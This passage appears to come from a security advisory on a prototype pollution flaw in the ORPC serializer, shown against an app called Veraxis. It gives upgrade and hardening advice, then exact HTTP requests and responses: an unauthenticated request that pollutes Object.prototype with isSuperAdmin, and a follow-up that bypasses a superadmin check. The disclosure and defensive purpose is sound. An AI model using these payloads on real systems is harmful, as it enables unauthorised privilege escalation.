Veraxis

The upstream library fix is the correct remediation and covers every downstream user of ORPC.

npm install \
  @orpc/client@1.13.6 \
  @orpc/server@1.13.6 \
  @orpc/react@1.13.6 \
  @orpc/openapi@1.13.9 \
  @orpc/openapi-client@1.13.6

Two application-side hardening items worth doing alongside the upgrade:

• Store the superadmin flag with a default value on every user document. Prototype pollution only inherits when no own property exists. If isSuperAdmin: false is written on user creation, the gate stops reading from the prototype chain entirely.
• Move the superadmin check to a value comparison rather than a truthiness check: context.user.isSuperAdmin === true. A polluted array or empty object still trips a bang check; strict equality against the literal true does not.

Step 1: unauthenticated pollution. Veraxis's public OTP send procedure was reachable without authentication and passed its input through the vulnerable serializer. A single POST was enough to pollute Object.prototype on whichever serverless container handled the request.

POST /api/auth/otp/send HTTP/2
Content-Type: application/json

{
  "json": { "phone": "0400000000", "country": "AU", "x": {} },
  "meta": [[6, "x", "__proto__", "isSuperAdmin"]],
  "maps": []
}

Response, confirming pollution:

{
  "code": "INTERNAL_SERVER_ERROR",
  "isSuperAdmin": []
}

The unrelated isSuperAdmin key appearing on the error response object confirms that Object.prototype.isSuperAdmin was set for the lifetime of the process. Any object literal created on the same container afterwards inherits the polluted property whenever it does not carry its own value.

Step 2: superadmin gate bypass. Veraxis's user-admin update procedure gated the mutation behind a superadmin check:

if (!context.user.isSuperAdmin) {
  throw new ORPCError("FORBIDDEN", {
    message: "Only superadmins can change admin status"
  });
}

Escalation request, authenticated as any admin, same warm container:

POST /api/user/admin-update HTTP/2
Content-Type: application/json
Cookie: token=<admin_token>

{
  "json": { "userId": "000000000000000000000001", "isAdmin": true },
  "meta": [],
  "maps": []
}

Response:

{
  "code": "NOT_FOUND",
  "isSuperAdmin": []
}

NOT_FOUND means the request reached the database query layer. The previous FORBIDDEN that the gate produced no longer fires. The gate was bypassed. Any real user ID in the same request would have committed the write.